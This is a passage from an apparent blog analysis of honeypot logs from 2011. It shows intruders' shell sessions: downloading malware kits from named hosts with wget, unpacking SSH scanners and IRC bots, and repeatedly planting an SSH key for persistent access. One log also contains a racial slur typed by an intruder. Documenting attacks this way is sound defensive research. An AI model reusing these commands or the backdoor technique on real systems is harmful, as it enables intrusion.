/&gt;f/fwd&lt;br /&gt;f/hide&lt;br /&gt;f/httpd&lt;br /&gt;f/j&lt;br /&gt;f/j2&lt;br /&gt;f/mech.help&lt;br /&gt;f/mech.set&lt;br /&gt;f/s&lt;br /&gt;f/sl&lt;br /&gt;f/start.sh&lt;br /&gt;f/std&lt;br /&gt;f/stream&lt;br /&gt;f/tty&lt;br /&gt;f/v&lt;br /&gt;f/v2&lt;br /&gt;f/x&lt;br /&gt;server:/var/tmp# cd f&lt;br /&gt;server:/var/tmp/f# rm -rf f&lt;br /&gt;server:/var/tmp/f# ls&lt;br /&gt;1         P&amp;amp;ù÷   P¦û÷  b         b2        bang.txt  f4        fwd       &lt;br /&gt;hide      httpd     j         j2        mech.help mech.set  s         sl        &lt;br /&gt;start.sh  std       stream    tty       v         v2        x         &lt;br /&gt;server:/var/tmp/f# ./httpd&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/var/tmp/f# chmod +x *&lt;br /&gt;server:/var/tmp/f# ./httpd&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/var/tmp/f# cd..&lt;br /&gt;bash: cd..: command not found&lt;br /&gt;server:/var/tmp/f# cd ..&lt;br /&gt;server:/var/tmp# rm -rf f&lt;br /&gt;server:/var/tmp# ls&lt;br /&gt;flood.tgz    gosh.tgz.tar &lt;br /&gt;server:/var/tmp# rm -rf flood.tgz&lt;br /&gt;server:/var/tmp# rm -rf gosh.tgz.tar93&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Fourth example&lt;/h2&gt;&lt;p&gt;Another attempt. Checking out the website http://eu-ro.ca/ reveals what seems to be a Romanian hacker group/set-up. Peeking in the bot configuration often reveals obscure IRC channels on Undernet. Following these channels quickly leads you to a whole set-up of channels, bots, and hackers. If you manage to lay low there, you can gain a lot of info (bot commands, group leaders, group set-up, targets and so on), but be prepared for some bans and insults as well. If I had some more spare time, I would set up a few dedicated honeypots (with more advanced shell simulation) and try to uncover more.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# mkdir /tmp/.user&lt;br /&gt;server:~# cd /tmp/.user&lt;br /&gt;server:/tmp/.user# wget http://eu-ro.ca/.kde.tgz&lt;br /&gt;--2011-01-26 23:46:15--  http://eu-ro.ca/.kde.tgz&lt;br /&gt;Connecting to eu-ro.ca:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 1238822 (1M) [application/x-gzip]&lt;br /&gt;Saving to: `.kde.tgz&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 1,238,822    327K/s  eta 0s   &lt;br /&gt;&lt;br /&gt;2011-01-26 23:46:19 (327 KB/s) - `.kde.tgz' saved [1238822/1238822]&lt;br /&gt;server:/tmp/.user# tar zxvf .kde.tgz&lt;br /&gt;.kde&lt;br /&gt;.kde/pass_filees&lt;br /&gt;.kde/pscan2&lt;br /&gt;.kde/a1&lt;br /&gt;.kde/common&lt;br /&gt;.kde/pass_file&lt;br /&gt;.kde/ssh-scan&lt;br /&gt;.kde/auto&lt;br /&gt;.kde/ss&lt;br /&gt;.kde/go.sh&lt;br /&gt;.kde/a&lt;br /&gt;.kde/gen-pass.sh&lt;br /&gt;.kde/start&lt;br /&gt;.kde/vuln.txt&lt;br /&gt;.kde&lt;br /&gt;.kde/pass_filees&lt;br /&gt;.kde/pscan2&lt;br /&gt;.kde/a1&lt;br /&gt;.kde/common&lt;br /&gt;.kde/pass_file&lt;br /&gt;.kde/ssh-scan&lt;br /&gt;.kde/auto&lt;br /&gt;.kde/ss&lt;br /&gt;.kde/go.sh&lt;br /&gt;.kde/a&lt;br /&gt;.kde/gen-pass.sh&lt;br /&gt;.kde/start&lt;br /&gt;.kde/vuln.txt&lt;br /&gt;server:/tmp/.user# cs .kde&lt;br /&gt;bash: cs: command not found&lt;br /&gt;server:/tmp/.user# cd .kde&lt;br /&gt;server:/tmp/.user/.kde# ls -a&lt;br /&gt;.           ..          pass_filees pscan2      a1          common      &lt;br /&gt;pass_file   ssh-scan    auto        ss          go.sh       a           &lt;br /&gt;gen-pass.sh start       vuln.txt    &lt;br /&gt;server:/tmp/.user/.kde# chmod +x *&lt;br /&gt;server:/tmp/.user/.kde# ./a 210.133&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/tmp/.user/.kde# chmod +x *&lt;br /&gt;server:/tmp/.user/.kde# ./start 28&lt;br /&gt;error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory&lt;br /&gt;server:/tmp/.user/.kde# cd ..&lt;br /&gt;server:/tmp/.user# ls-a&lt;br /&gt;bash: ls-a: command not found&lt;br /&gt;server:/tmp/.user# ls -a&lt;br /&gt;.        ..       .kde.tgz .kde     .kde     &lt;br /&gt;server:/tmp/.user# wget bila.do.am/bila.tgz&lt;br /&gt;--2011-01-26 23:50:26--  http://bila.do.am/bila.tgz&lt;br /&gt;Connecting to bila.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 262027 (255K) [application/octet-stream]&lt;br /&gt;Saving to: `bila.tgz&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 262,027      6K/s  eta 42s&lt;br /&gt;&lt;br /&gt;2011-01-26 23:50:27 (6 KB/s) - `bila.tgz' saved [262027/262027]&lt;br /&gt;server:/tmp/.user# tar zxvf bila.tgz&lt;br /&gt;.tmp&lt;br /&gt;.tmp/cyc.acc&lt;br /&gt;.tmp/ -bash&lt;br /&gt;.tmp/s.sh&lt;br /&gt;.tmp/cyc.set&lt;br /&gt;.tmp/pico&lt;br /&gt;.tmp/stealth&lt;br /&gt;server:/tmp/.user# ls -a&lt;br /&gt;.        ..       .kde.tgz .kde     .kde     bila.tgz .tmp     &lt;br /&gt;server:/tmp/.user# cd .tmp&lt;br /&gt;server:/tmp/.user/.tmp# ls -a&lt;br /&gt;.       ..      cyc.acc  -bash  s.sh    cyc.set pico    stealth &lt;br /&gt;server:/tmp/.user/.tmp# ./stealth&lt;br /&gt;unable to open display ":0"&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Fifth example&lt;/h2&gt;&lt;p&gt;Another straightforward attempt. Also here, the website http://arhiva.do.am seems to be used as a dump for hosting malware.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# wget http://arhiva.do.am/dabian.tgz&lt;br /&gt;--2011-01-27 00:18:22--  http://arhiva.do.am/dabian.tgz&lt;br /&gt;Connecting to arhiva.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 404 Not Found&lt;br /&gt;server:~# wget http://arhiva.do.am/arhiva.tgz&lt;br /&gt;--2011-01-27 00:18:57--  http://arhiva.do.am/arhiva.tgz&lt;br /&gt;Connecting to arhiva.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 404 Not Found&lt;br /&gt;server:~# wget http://arhiva.do.am/scan.tar&lt;br /&gt;--2011-01-27 00:19:28--  http://arhiva.do.am/scan.tar&lt;br /&gt;Connecting to arhiva.do.am:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 1484800 (1M) [application/octet-stream]&lt;br /&gt;Saving to: `scan.tar&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 1,484,800    518K/s  eta 0s  &lt;br /&gt;&lt;br /&gt;2011-01-27 00:19:31 (518 KB/s) - `scan.tar' saved [1484800/1484800]&lt;br /&gt;server:~# tar xvf scan.tar&lt;br /&gt;scan&lt;br /&gt;scan/sshf&lt;br /&gt;scan/a6&lt;br /&gt;scan/start&lt;br /&gt;scan/pass_sh&lt;br /&gt;scan/a5&lt;br /&gt;scan/gen-pass.sh&lt;br /&gt;scan/ssh-scan&lt;br /&gt;scan/test.sh&lt;br /&gt;scan/README&lt;br /&gt;scan/200.pscan.22&lt;br /&gt;scan/pass_file&lt;br /&gt;scan/sshf0&lt;br /&gt;scan/pscan2&lt;br /&gt;scan/pico&lt;br /&gt;scan/pass_filees&lt;br /&gt;scan/vuln.txt&lt;br /&gt;scan/a4&lt;br /&gt;scan/a1&lt;br /&gt;scan/a2&lt;br /&gt;scan/mfu.txt&lt;br /&gt;scan/a&lt;br /&gt;scan/common&lt;br /&gt;server:~# rm -rf scan.tar&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   scan      &lt;br /&gt;server:~# cd scan&lt;br /&gt;server:/root/scan# ./a 64.189&lt;br /&gt;Shall we play a game?&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Sixth example&lt;/h2&gt;&lt;p&gt;Another attempt. Here, three different malware programs are tried out before giving up. It's also interesting to see where intruders hide their downloads, some use &lt;code&gt;/root&lt;/code&gt;, some &lt;code&gt;/tmp&lt;/code&gt;, some esoteric locations like &lt;code&gt;/tmp/...&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# wget&lt;br /&gt;wget: missing URL&lt;br /&gt;Usage: wget [OPTION]... [URL]...&lt;br /&gt;&lt;br /&gt;Try `wget --help' for more options.&lt;br /&gt;server:~# yum&lt;br /&gt;bash: yum: command not found&lt;br /&gt;server:~# wget freewebtown.com/pacalici/lib.tgz&lt;br /&gt;--2011-02-09 00:30:57--  http://freewebtown.com/pacalici/lib.tgz&lt;br /&gt;Connecting to freewebtown.com:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 8772939 (8M) [application/x-tar]&lt;br /&gt;Saving to: `lib.tgz&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 8,772,939    1844K/s  eta 0s  &lt;br /&gt;&lt;br /&gt;2011-02-09 00:31:02 (1844 KB/s) - `lib.tgz' saved [8772939/8772939]&lt;br /&gt;server:~# tar zxvf lib.tgz&lt;br /&gt;lib&lt;br /&gt;lib/mech.pid&lt;br /&gt;lib/fuck&lt;br /&gt;lib/j2&lt;br /&gt;lib/v&lt;br /&gt;lib/s&lt;br /&gt;lib/r&lt;br /&gt;lib/__libc_start_main&lt;br /&gt;lib/std&lt;br /&gt;lib/b&lt;br /&gt;lib/bang.txt&lt;br /&gt;lib/j&lt;br /&gt;lib/1&lt;br /&gt;lib/f4&lt;br /&gt;lib/dir&lt;br /&gt;lib/y2kupdate&lt;br /&gt;lib/fwd&lt;br /&gt;lib/x&lt;br /&gt;lib/mech.set&lt;br /&gt;lib/tty&lt;br /&gt;lib/cron.d&lt;br /&gt;lib/h&lt;br /&gt;lib/sl&lt;br /&gt;lib/b2&lt;br /&gt;lib/W2Ksp3.exe&lt;br /&gt;lib/tun.seen&lt;br /&gt;lib/f&lt;br /&gt;lib/h.c&lt;br /&gt;lib/stream&lt;br /&gt;lib/v2&lt;br /&gt;lib/init&lt;br /&gt;server:~# rm -rf lib.tgz&lt;br /&gt;server:~# cd lib&lt;br /&gt;server:/root/lib# ./y2kupdate&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/root/lib# ./init&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/root/lib# cd&lt;br /&gt;server:~# ls&lt;br /&gt;lib &lt;br /&gt;server:~# cd /dev&lt;br /&gt;server:/dev# wget freewebtown.com/pacalici/bf.tgz&lt;br /&gt;--2011-02-09 00:32:05--  http://freewebtown.com/pacalici/bf.tgz&lt;br /&gt;Connecting to freewebtown.com:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 392378 (383K) [application/x-tar]&lt;br /&gt;Saving to: `bf.tgz&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 392,378      9K/s  eta 39s&lt;br /&gt;&lt;br /&gt;2011-02-09 00:32:06 (9 KB/s) - `bf.tgz' saved [392378/392378]&lt;br /&gt;server:/dev# tar zxvf bf.tgz&lt;br /&gt;mc-root&lt;br /&gt;mc-root/go&lt;br /&gt;mc-root/cyc.set&lt;br /&gt;mc-root/cyc.help&lt;br /&gt;mc-root/cyc.levels&lt;br /&gt;mc-root/bash&lt;br /&gt;mc-root/udp.pl&lt;br /&gt;mc-root/stealth&lt;br /&gt;mc-root/randfiles&lt;br /&gt;mc-root/randfiles/randkicks.e&lt;br /&gt;mc-root/randfiles/randaway.e&lt;br /&gt;mc-root/randfiles/randsignoff.e&lt;br /&gt;mc-root/randfiles/randinsult.e&lt;br /&gt;mc-root/randfiles/randversions.e&lt;br /&gt;mc-root/randfiles/randsay.e&lt;br /&gt;mc-root/randfiles/randpickup.e&lt;br /&gt;mc-root/randfiles/randnicks.e&lt;br /&gt;mc-root/cyc.acc&lt;br /&gt;mc-root/pico.tgz&lt;br /&gt;mc-root/pico&lt;br /&gt;mc-root/cyc.pid&lt;br /&gt;server:/dev# rm -rf bf.tgz&lt;br /&gt;server:/dev# &lt;br /&gt;server:/dev# cd mc-root&lt;br /&gt;server:/dev/mc-root# ./go&lt;br /&gt;unable to open display ":0"&lt;br /&gt;server:/dev/mc-root# ls&lt;br /&gt;go         cyc.set    cyc.help   cyc.levels bash       udp.pl     stealth    &lt;br /&gt;randfiles  cyc.acc    pico.tgz   pico       cyc.pid    &lt;br /&gt;server:/dev/mc-root# cd&lt;br /&gt;server:~# &lt;br /&gt;server:~# &lt;br /&gt;server:~# wget pibo.com/.x/scan/wtf.tar&lt;br /&gt;--2011-02-09 00:35:09--  http://pibo.com/.x/scan/wtf.tar&lt;br /&gt;Connecting to pibo.com:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 1574103 (1M) [application/x-tar]&lt;br /&gt;Saving to: `wtf.tar&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 1,574,103    299K/s  eta 1s   &lt;br /&gt;&lt;br /&gt;2011-02-09 00:35:13 (299 KB/s) - `wtf.tar' saved [1574103/1574103]&lt;br /&gt;server:~# tar xzvf wtf.tar&lt;br /&gt;wtf&lt;br /&gt;wtf/a&lt;br /&gt;wtf/a1&lt;br /&gt;wtf/auto&lt;br /&gt;wtf/common&lt;br /&gt;wtf/gen-pass.sh&lt;br /&gt;wtf/go.sh&lt;br /&gt;wtf/pass_file&lt;br /&gt;wtf/pscan2&lt;br /&gt;wtf/scam&lt;br /&gt;wtf/sh&lt;br /&gt;wtf/ss&lt;br /&gt;wtf/ssh-scan&lt;br /&gt;wtf/start&lt;br /&gt;wtf/vuln.txt&lt;br /&gt;server:~# cd wtf&lt;br /&gt;server:/root/wtf# chmod +x *&lt;br /&gt;server:/root/wtf# ./a 100&lt;br /&gt;error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory&lt;br /&gt;server:/root/wtf#&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Seventh example&lt;/h2&gt;&lt;p&gt;Not only is this intruder very offensive, he also quickly spotted the honeypot.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# adduser nigger&lt;br /&gt;Adding user `nigger' ...&lt;br /&gt;Adding new group `nigger' (1001) ...&lt;br /&gt;Adding new user `nigger' (1001) with group `nigger' ...&lt;br /&gt;Creating home directory `/home/nigger' ...&lt;br /&gt;Copying files from `/etc/skel' ...&lt;br /&gt;Password: &lt;br /&gt;Password again: &lt;br /&gt;&lt;br /&gt;Changing the user information for nigger&lt;br /&gt;Enter the new value, or press ENTER for the default&lt;br /&gt;        Username []: &lt;br /&gt;Must enter a value!&lt;br /&gt;        Username []: only&lt;br /&gt;        Full Name []: dumb&lt;br /&gt;        Room Number []: niggers&lt;br /&gt;        Work Phone []: use&lt;br /&gt;        Home Phone []: honeypot&lt;br /&gt;        Mobile Phone []: you&lt;br /&gt;        Country []: stupid&lt;br /&gt;        City []: nigger&lt;br /&gt;        Language []: HA&lt;br /&gt;        Favorite movie []: HA&lt;br /&gt;        Other []: HA&lt;br /&gt;Is the information correct? [Y/n] y&lt;br /&gt;ERROR: Some of the information you entered is invalid&lt;br /&gt;Deleting user `nigger' ...&lt;br /&gt;Deleting group `nigger' (1001) ...&lt;br /&gt;Deleting home directory `/home/nigger' ...&lt;br /&gt;Try again? [Y/n] n&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Eight example&lt;/h2&gt;&lt;p&gt;This guy tried adding his SSH keys and installing software again and again and was one of the most persistent intruders.&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;server:~# cd&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   &lt;br /&gt;server:~# cd /root&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   &lt;br /&gt;server:~# cd ..&lt;br /&gt;server:/# ls -a&lt;br /&gt;.          ..         sys        bin        mnt        media      vmlinuz    &lt;br /&gt;opt        cdrom      selinux    tmp        proc       sbin       etc        &lt;br /&gt;dev        srv        initrd.img lib        home       var        usr        &lt;br /&gt;boot       root       lost+found &lt;br /&gt;server:/# cd&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   &lt;br /&gt;server:~# mkdir .ssh&lt;br /&gt;server:~# cd .ssh&lt;br /&gt;server:/root/.ssh# ls -a&lt;br /&gt;server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys&lt;br /&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br /&gt;server:/root/.ssh# ls  -a&lt;br /&gt;server:/root/.ssh# dir&lt;br /&gt;bash: dir: command not found&lt;br /&gt;server:/root/.ssh# ls -a&lt;br /&gt;server:/root/.ssh# cd ..&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh      &lt;br /&gt;server:~# rm -rf .ssh&lt;br /&gt;server:~# cd .root&lt;br /&gt;bash: cd: .root: No such file or directory&lt;br /&gt;server:~# cd /root&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   &lt;br /&gt;server:~# mkdir .ssh&lt;br /&gt;server:~# cd .ssh&lt;br /&gt;server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys&lt;br /&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br /&gt;server:/root/.ssh# cd ..&lt;br /&gt;server:~# ls -a&lt;br /&gt;.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   .ssh      &lt;br /&gt;server:~# rm -rf .ssh&lt;br /&gt;server:~# cd ..&lt;br /&gt;server:/# ls -a&lt;br /&gt;.          ..         sys        bin        mnt        media      vmlinuz    &lt;br /&gt;opt        cdrom      selinux    tmp        proc       sbin       etc        &lt;br /&gt;dev        srv        initrd.img lib        home       var        usr        &lt;br /&gt;boot       root       lost+found &lt;br /&gt;server:/# cd home&lt;br /&gt;server:/home# ls -a&lt;br /&gt;.       ..      richard &lt;br /&gt;server:/home# cd ..&lt;br /&gt;server:/# ls -a&lt;br /&gt;.          ..         sys        bin        mnt        media      vmlinuz    &lt;br /&gt;opt        cdrom      selinux    tmp        proc       sbin       etc        &lt;br /&gt;dev        srv        initrd.img lib        home       var        usr        &lt;br /&gt;boot       root       lost+found &lt;br /&gt;server:/# mkdir .ssh&lt;br /&gt;server:/# cd .ssh&lt;br /&gt;server:/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys&lt;br /&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;br /&gt;server:/.ssh# cd ..&lt;br /&gt;server:/# ;s =a&lt;br /&gt;bash: s: command not found&lt;br /&gt;server:/# &lt;br /&gt;server:/# ls -a&lt;br /&gt;.          ..         sys        bin        mnt        media      vmlinuz    &lt;br /&gt;opt        cdrom      selinux    tmp        proc       sbin       etc        &lt;br /&gt;dev        srv        initrd.img lib        home       var        usr        &lt;br /&gt;boot       root       lost+found .ssh       &lt;br /&gt;server:/# rm -rf .ssh&lt;br /&gt;server:/# cd&lt;br /&gt;server:~# cd /tmp&lt;br /&gt;server:/tmp# ls -a&lt;br /&gt;.         ..        .ICE-unix .X11-unix &lt;br /&gt;server:/tmp# mkdir ,&lt;br /&gt;server:/tmp# cd ,&lt;br /&gt;server:/tmp/,# wget http://pinky.clan.su/mech/fast.jpg ;  tar fast.jpg&lt;br /&gt;--2011-03-02 21:07:41--  http://pinky.clan.su/mech/fast.jpg&lt;br /&gt;Connecting to pinky.clan.su:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 821334 (802K) [image/jpeg]&lt;br /&gt;Saving to: `fast.jpg&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 821,334      113K/s  eta 0s  &lt;br /&gt;&lt;br /&gt;2011-03-02 21:07:49 (113 KB/s) - `fast.jpg' saved [821334/821334]&lt;br /&gt;tar: You must specify one of the `-Acdtrux' options&lt;br /&gt;Try `tar --help' or `tar --usage' for more information.&lt;br /&gt;server:/tmp/,# tar zxvf fast.jpg&lt;br /&gt;fast&lt;br /&gt;fast/src&lt;br /&gt;fast/src/xmech.o&lt;br /&gt;fast/src/xmech.c&lt;br /&gt;fast/src/vars.o&lt;br /&gt;fast/src/vars.c&lt;br /&gt;fast/src/userlist.o&lt;br /&gt;fast/src/userlist.c&lt;br /&gt;fast/src/usage.h&lt;br /&gt;fast/src/text.h&lt;br /&gt;fast/src/structs.h&lt;br /&gt;fast/src/socket.o&lt;br /&gt;fast/src/socket.c&lt;br /&gt;fast/src/parse.o&lt;br /&gt;fast/src/parse.c&lt;br /&gt;fast/src/mcmd.h&lt;br /&gt;fast/src/Makefile.in&lt;br /&gt;fast/src/Makefile&lt;br /&gt;fast/src/main.o&lt;br /&gt;fast/src/main.c&lt;br /&gt;fast/src/link.o&lt;br /&gt;fast/src/link.c&lt;br /&gt;fast/src/h.h&lt;br /&gt;fast/src/global.h&lt;br /&gt;fast/src/gencmd.c&lt;br /&gt;fast/src/gencmd&lt;br /&gt;fast/src/function.o&lt;br /&gt;fast/src/function.c&lt;br /&gt;fast/src/defines.h&lt;br /&gt;fast/src/debug.o&lt;br /&gt;fast/src/debug.c&lt;br /&gt;fast/src/dcc.o&lt;br /&gt;fast/src/dcc.c&lt;br /&gt;fast/src/config.h.in&lt;br /&gt;fast/src/config.h&lt;br /&gt;fast/src/commands.o&lt;br /&gt;fast/src/commands.c&lt;br /&gt;fast/src/combot.o&lt;br /&gt;fast/src/combot.c&lt;br /&gt;fast/src/com-ons.o&lt;br /&gt;fast/src/com-ons.c&lt;br /&gt;fast/src/channel.o&lt;br /&gt;fast/src/channel.c&lt;br /&gt;fast/src/cfgfile.o&lt;br /&gt;fast/src/cfgfile.c&lt;br /&gt;fast/r&lt;br /&gt;fast/r/rversions.e&lt;br /&gt;fast/r/rtsay.e&lt;br /&gt;fast/r/rsignoff.e&lt;br /&gt;fast/r/rsay.e&lt;br /&gt;fast/r/rpickup.e&lt;br /&gt;fast/r/rnicks.e&lt;br /&gt;fast/r/rkicks.e&lt;br /&gt;fast/r/rinsult.e&lt;br /&gt;fast/r/raway.e&lt;br /&gt;fast/mkindex&lt;br /&gt;fast/Makefile&lt;br /&gt;fast/m.set&lt;br /&gt;fast/m.help&lt;br /&gt;fast/LinkEvents&lt;br /&gt;fast/go&lt;br /&gt;fast/genuser&lt;br /&gt;fast/configure&lt;br /&gt;fast/checkmech&lt;br /&gt;fast/bash&lt;br /&gt;fast/3.user&lt;br /&gt;fast/2.user&lt;br /&gt;fast/1.user&lt;br /&gt;fast/configure.c&lt;br /&gt;server:/tmp/,# cd fast&lt;br /&gt;server:/tmp/,/fast# ls -a&lt;br /&gt;.           ..          src         r           mkindex     Makefile    &lt;br /&gt;m.set       m.help      LinkEvents  go          genuser     configure   &lt;br /&gt;checkmech   bash        3.user      2.user      1.user      configure.c &lt;br /&gt;server:/tmp/,/fast# vi 1.user&lt;br /&gt;E558: Terminal entry not found in terminfo&lt;br /&gt;server:/tmp/,/fast# pico 1.user&lt;br /&gt;bash: pico: command not found&lt;br /&gt;server:/tmp/,/fast# apt-get  install pico&lt;br /&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree&lt;br /&gt;Reading state information... Done&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;  pico &lt;br /&gt;0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.&lt;br /&gt;Need to get 158.2kB of archives.&lt;br /&gt;After this operation, 347.6kB of additional disk space will be used.&lt;br /&gt;Get:1 http://ftp.debian.org stable/main pico 1.15-7 [158.2kB]&lt;br /&gt;Fetched 158.2kB in 1s (4493B/s)&lt;br /&gt;Reading package fields... Done&lt;br /&gt;Reading package status... Done&lt;br /&gt;(Reading database ... 177887 files and directories currently installed.)&lt;br /&gt;Unpacking pico (from .../archives/pico_1.15-7_i386.deb) ...&lt;br /&gt;Processing triggers for man-db ...&lt;br /&gt;Setting up pico (1.15-7) ...&lt;br /&gt;server:/tmp/,/fast# pico 1.user&lt;br /&gt;pico: Segmentation fault&lt;br /&gt;server:/tmp/,/fast# ./pico 1.user&lt;br /&gt;bash: ./pico: command not found&lt;br /&gt;server:/tmp/,/fast# wget pinky.clan.su/altele/pico.jpg&lt;br /&gt;--2011-03-02 21:09:32--  http://pinky.clan.su/altele/pico.jpg&lt;br /&gt;Connecting to pinky.clan.su:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 84478 (82K) [image/jpeg]&lt;br /&gt;Saving to: `pico.jpg&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 84,478       27K/s  eta 1s&lt;br /&gt;&lt;br /&gt;2011-03-02 21:09:34 (27 KB/s) - `pico.jpg' saved [84478/84478]&lt;br /&gt;server:/tmp/,/fast# tar zxvf pico.jpg&lt;br /&gt;pico&lt;br /&gt;server:/tmp/,/fast# ./pico 1.user&lt;br /&gt;Shall we play a game? &lt;br /&gt;A strange game. The only winning move is not to play.  How about a nice game of chess?&lt;br /&gt;server:/tmp/,/fast# ./pico 1.user&lt;br /&gt;Shall we play a game? y&lt;br /&gt;A strange game. The only winning move is not to play.  How about a nice game of chess?&lt;br /&gt;server:/tmp/,/fast# &lt;br /&gt;server:/tmp/,/fast# ls -a&lt;br /&gt;.           ..          src         r           mkindex     Makefile    &lt;br /&gt;m.set       m.help      LinkEvents  go          genuser     configure   &lt;br /&gt;checkmech   bash        3.user      2.user      1.user      configure.c &lt;br /&gt;pico.jpg    pico        &lt;br /&gt;server:/tmp/,/fast# apt-get install vi&lt;br /&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree&lt;br /&gt;Reading state information... Done&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;  vi &lt;br /&gt;0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.&lt;br /&gt;Need to get 442.2kB of archives.&lt;br 